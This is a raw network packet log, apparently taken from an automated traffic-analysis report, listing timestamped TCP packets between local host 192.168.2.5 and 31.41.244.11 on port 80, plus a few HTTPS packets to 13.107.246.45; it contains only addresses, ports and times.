Nov 21, 2024 03:09:14.212951899 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.212991953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.213840961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.213923931 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.213951111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.214404106 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.214921951 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.214986086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.215030909 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.215162039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.215964079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.216022968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.216072083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.216115952 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.217056990 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.217147112 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.217189074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.217271090 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.218111038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.218157053 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.218204021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.219199896 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.219249964 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.219286919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.219325066 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.220231056 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.220277071 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.220283031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.220319033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.221335888 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.221460104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.221517086 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.222353935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.222402096 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.222482920 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.222727060 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.223433018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.223479986 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.223557949 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.223598003 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.224523067 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.224567890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.224620104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.224730015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.225585938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.225701094 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.225750923 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.226665020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.226681948 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.226713896 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.226742029 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.227732897 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.227843046 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.227885962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.228765011 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.228816032 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.228878975 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.228919983 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.229854107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.229963064 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.230010033 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.230901003 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.230950117 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.231002092 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.231045008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.231960058 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.232037067 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.232078075 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.232117891 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.233021021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.233088017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.233139038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.233179092 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.234090090 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.234133005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.234205008 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.234245062 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.235191107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.235236883 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.235327959 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.235455990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.236221075 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.236265898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.236334085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.236373901 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.237303019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.237350941 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.237397909 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.237447023 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.357068062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.357177973 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.358108997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.358139038 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.358156919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.358165979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.358184099 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.358201981 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.476655960 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.476905107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.477572918 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.477592945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.477608919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.477643967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.477664948 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.596570969 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596590042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596605062 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596621037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596628904 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596636057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596652031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596658945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.596668005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596692085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596709013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596709967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.596725941 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596730947 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.596741915 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596750021 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596760035 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.596771002 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596779108 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.596811056 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.596815109 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596831083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596854925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596868038 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.596874952 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596890926 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.596892118 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596908092 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596915960 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.596925020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.596932888 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.596973896 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.596987963 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597004890 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597012043 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597022057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597024918 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597038031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597045898 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597055912 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597059011 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597079039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597081900 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597095013 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597100019 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597115993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597119093 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597134113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597147942 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597162962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597162962 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597188950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597393036 CET	443	49822	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.597413063 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597429037 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597444057 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597457886 CET	443	49822	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.597460985 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597470045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597479105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597479105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597497940 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597497940 CET	443	49821	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.597515106 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597517967 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597524881 CET	443	49820	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.597532034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597534895 CET	49822	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.597543001 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597551107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597559929 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597564936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597575903 CET	443	49821	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.597583055 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597600937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597604990 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597611904 CET	443	49820	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.597620010 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597636938 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597641945 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597645998 CET	49821	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.597660065 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597661972 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597677946 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597682953 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597687960 CET	49820	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.597696066 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597702980 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597712994 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597726107 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597731113 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597734928 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597748995 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597759008 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597767115 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597768068 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597784042 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597785950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597801924 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597807884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597817898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597825050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597835064 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597836018 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597851992 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597856045 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597868919 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597877979 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597881079 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.597887993 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597899914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597903967 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597910881 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597919941 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597937107 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597939968 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597951889 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597954988 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.597970963 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.597971916 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597971916 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.597990990 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598006964 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598007917 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598017931 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.598023891 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598027945 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.598031044 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598040104 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598057985 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598059893 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598067045 CET	443	49823	13.107.246.45	192.168.2.5
Nov 21, 2024 03:09:14.598076105 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598076105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598093987 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598104000 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598112106 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598129034 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598136902 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598140955 CET	49823	443	192.168.2.5	13.107.246.45
Nov 21, 2024 03:09:14.598145962 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598156929 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598171949 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598185062 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598189116 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598206997 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598212004 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598223925 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598232985 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598242044 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598247051 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598258972 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598264933 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598274946 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598294020 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598301888 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598301888 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598315954 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598320961 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598336935 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598349094 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598354101 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598361015 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598372936 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598383904 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598397017 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598397017 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598414898 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598422050 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598433018 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598440886 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598463058 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598478079 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598491907 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598506927 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598530054 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598545074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598561049 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598576069 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598592043 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598593950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598593950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598593950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598593950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598593950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598593950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598593950 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598624945 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598634005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598634005 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598642111 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598658085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598673105 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598680973 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598686934 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598697901 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598711967 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598721027 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598727942 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598728895 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598746061 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598752022 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598762989 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598778963 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598783970 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598794937 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598804951 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598812103 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598829031 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598833084 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598845005 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598860979 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598870039 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598882914 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598897934 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598906994 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598915100 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598931074 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598947048 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598948002 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598954916 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598963022 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598970890 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.598979950 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.598985910 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599001884 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599008083 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599029064 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599044085 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599046946 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599061012 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599078894 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599081993 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599097013 CET	80	49814	31.41.244.11	192.168.2.5
Nov 21, 2024 03:09:14.599102020 CET	49814	80	192.168.2.5	31.41.244.11
Nov 21, 2024 03:09:14.599113941 CET	80	49814	31.41.244.11	192.168.2.5
